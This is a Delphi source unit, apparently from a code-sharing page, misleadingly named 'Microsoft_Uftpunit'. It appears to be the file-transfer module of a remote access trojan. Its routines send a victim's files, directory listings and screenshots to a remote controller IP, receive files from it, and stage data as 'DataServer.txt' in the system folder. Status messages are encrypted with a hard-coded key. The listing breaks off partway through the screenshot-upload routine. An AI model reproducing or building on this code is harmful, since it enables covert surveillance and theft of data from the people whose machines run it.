📄 microsoft_uftpunit.pas
字号:
unit Microsoft_Uftpunit;
interface
uses Windows, Messages ,WinSock,Microsoft_Ucmd,Utils;
function GetFileName (text : string):string;
procedure Create_Server (S_PORT : integer ;Handle : HWND);
procedure Server_Send(Data : string);
procedure FTP_Events( wParam,lParam: Integer);
//procedure SetUpaWindow1 ;
procedure Init_Winsock ();
procedure CleanUP_winsock();
procedure DownloadFileListen;
procedure DownloadFileConnect(SaveFile : string ;Ipadress : string; port : string) ;
procedure UploadFileListen;
procedure UploadFileConnect(OpenFile : String;Ipadress : string; port : string) ;
procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
procedure UploadDataConnect (Data : String;Ipadress : string; PORT : string) ;
procedure UploadDataListen(Data : String; PORT : string) ;
procedure ProcessFTPCMD (data : string; socket : TSocket);
const
WM_Server = $0400 + $1002;
var
WinClass: TWndClassA;
Inst : Integer;
Handle : HWND ;
wsa_Data : WSADATA;
Server: TSocket;
Server_Client : TSocket;
Helper_Socket : TSocket;
addr : SOCKADDR_IN; // Internet address
Caddr : SOCKADDR_IN; // Internet address
Caddrserver : SOCKADDR_IN; // Internet address
Caddr2 : SOCKADDR_IN; // Internet address
Caddrserver2 : SOCKADDR_IN; // Internet address
USER, PASS,HOST,DIR,FileDarkMoon,Data: string ;
nErrorStatus : integer;
OpenFile : string;
SaveFile : String ;
IConnection : boolean;
PORT : string ;
Abort : Boolean = FALSE;
ListingDIR : string;
ListIP, ListPort : string;
RemoteIP : string;
RemotePort: string;
id : cardinal;
implementation
procedure Send_List;
begin
SendData(MainSocket,'|' + 'Working IP:' + RemoteIP);
if IConnection=true then begin
UploadDataConnect ( LIST (ListingDIR + '*.*'), RemoteIP ,ListPort);
end
else
begin
UploadDataListen( LIST (ListingDIR + '*.*') ,'4000') ;
end;
end;
function GetFileName (text : string):string;
var
a,i : integer;
begin
a:= FindNChars(text,'\');
for i := 1 to a do begin
text:=copy ( text, findchar(text,'\')+1,length(text));
end;
Result:=text;
end;
procedure SendData (SOCKET : TSOCKET;Data :string);
const
my_key = 35311;
var
TotSent, ToSend, Sent, ErrorLoop: integer;
begin
Data :=Encrypt (data,my_key);
//Send( SOCKET, Pointer(Data)^, Length(Data), 0 );
if Data <> '' then
begin
ErrorLoop:= 0;
TotSent:= 0;
ToSend:= Length(Data);
repeat
Sent:= send(SOCKET, Data[TotSent+1], (ToSend-TotSent), 0);
if Sent = SOCKET_ERROR then
begin
Inc(ErrorLoop);
if WSAGetLastError <> WSAEWOULDBLOCK then
begin
Exit;
end;
end
else
Inc(TotSent, Sent);
until (TotSent >= ToSend) or (ErrorLoop > 100);
end;
end;
procedure DownloadFileConnect(SaveFile : string ;Ipadress : string; PORT : string) ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
BytesRead, sinsize : Integer;
client : TSocket;
a : THandle;
Buffer : array [ 1..2048 ] of Char;
BytesWrite : DWORD;
FileStatus : Boolean;
var
HostEnt: PHostEnt;
begin
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
end;
if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
halt;
end;
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;
if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
//messagebox(0,'dddddddddddd','ddddddddd',0);
end;
BytesWrite := 0;
try
a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
except
CloseSocket(Client );
Exit;
end;
repeat BytesRead := Recv( client, Buffer, SizeOf( Buffer ), 0 );
FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
until ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
senddata(Helper_Socket,'9^File Uploaded: ' + GetFileName(SaveFile) + '^');
CloseHandle( a );
try CloseSocket( client ); except end;
Abort := FALSE;
end;
procedure UploadFileConnect (OpenFile : String;Ipadress : string; PORT : string) ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
sinsize : Integer;
sock, client : TSocket;
a : THandle;
Archivo : THandle;
Buffer : array [ 1..1024 ] of Char;
FileStatus : Boolean;
BytesRead : DWord;
Error : Boolean;
size : longint ;
f : file ;
HostEnt: PHostEnt;
begin
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
end;
if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
halt;
end;
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;
if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
//messagebox(0,'dddddddddddd','ddddddddd',0);
end;
try
AssignFile(f, OpenFile);
Reset(f);
try
size :=FileSize(f)*128 div 1024;
finally
CloseFile(f);
end;
Archivo := CreateFile( PChar( OpenFile ),
GENERIC_READ,
0, nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
except
CloseSocket( sock );
Exit;
end;
repeat
Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
Send(Client, Buffer, BytesRead, 0);
until ( Error ) and ( BytesRead = 0 );
senddata(Helper_Socket,'9^File Downloaded: ' + GetFileName(OpenFile) + '^') ;
CloseHandle( Archivo );
try CloseSocket( client ); except end;
Abort := FALSE;
end;
procedure UploadDataListen(Data : String; PORT : string) ;
//The server should send a file to the client
var addr : TSockAddrIn;
sinsize : Integer;
sock,cliente : TSocket;
Archivo : THandle;
Buffer : array [ 1..1024 ] of Char;
BytesRead : DWord;
Error : Boolean;
G :file of char;
i : integer;
c: char;
Openfile : string;
begin
Openfile :=pchar (Get_SysPath) + '\DataServer.txt' ;
AssignFile (G, Openfile);
rewrite(G);
for i:=1 to length(Data) do begin
c:= stringtochar( copy( Data,i,1) );
write(G,c);
end;
closefile(G);
addr.sin_family := AF_INET;
addr.sin_port := htons(strtoint(PORT) );
addr.sin_addr.S_addr := INADDR_ANY;
//Open the socket
sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
Exit;
if Listen(sock, 1) = SOCKET_ERROR then
begin
try CloseSocket( Sock ); except end;
Exit;
end;
//Espera una conexion
sinsize := SizeOf( addr );
cliente := Accept( sock, @addr, @sinsize );
try
Archivo := CreateFile( PChar( Openfile ),
GENERIC_READ,
0, nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
// Server_Send('9^Downloading File: ' + GetFileName(OpenFile) + '^');
except
CloseSocket( sock );
Exit;
end;
Sleep( 150 );
repeat
Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
Send( cliente, Buffer, BytesRead, 0);
until ( Error ) and ( BytesRead = 0 );
CloseHandle( Archivo );
try CloseSocket( cliente ); except end;
try CloseSocket( sock ); except end;
Abort := FALSE;
end;
procedure UploadDataConnect(Data : String;Ipadress : string; PORT : string) ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
sinsize : Integer;
sock, client : TSocket;
a : THandle;
Archivo : THandle;
Buffer : array [ 1..1024 ] of Char;
FileStatus : Boolean;
BytesRead : DWord;
Error : Boolean;
size : longint ;
f : file ;
G :file of char;
i : integer;
c: char;
Openfile : string;
HostEnt: PHostEnt;
begin
Openfile :=pchar (Get_SysPath) + '\DataServer.txt' ;
AssignFile (G, Openfile);
rewrite(G);
for i:=1 to length(Data) do begin
c:= stringtochar( copy( Data,i,1) );
write(G,c);
end;
closefile(G);
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
end;
if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
halt;
end;
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;
if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
//messagebox(0,'dddddddddddd','ddddddddd',0);
end;
try
AssignFile(f, Openfile );
Reset(f);
try
size :=FileSize(f)*128 div 1024;
finally
CloseFile(f);
end;
Archivo := CreateFile( pchar( Openfile),
GENERIC_READ,
0, nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
except
CloseSocket( sock );
Exit;
end;
repeat
Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
Send(Client, Buffer, BytesRead, 0);
until ( Error ) and ( BytesRead = 0 );
CloseHandle( Archivo );
try CloseSocket( client ); except end;
Abort:= FALSE;
end;
procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
var addr : TSockAddrIn;
addrserver : TSockAddrIn;
sinsize : Integer;
sock, client : TSocket;
a : THandle;
Archivo : THandle;
Buffer : array [ 1..1024 ] of Char;
FileStatus : Boolean;
BytesRead : DWord;
Error : Boolean;
size : longint ;
f : file ;
HostEnt: PHostEnt;
begin
Client := socket(AF_INET, SOCK_STREAM, 0);
if (Client <> INVALID_SOCKET) THEN BEGIN
addr.sin_family := AF_INET;
addr.sin_port := 0;
addr.sin_addr.s_addr := htonl(INADDR_ANY);
end;
if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
halt;
end;
addrserver.sin_family := AF_INET;
addrserver.sin_port := htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));
if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;
if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
//messagebox(0,'dddddddddddd','ddddddddd',0);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -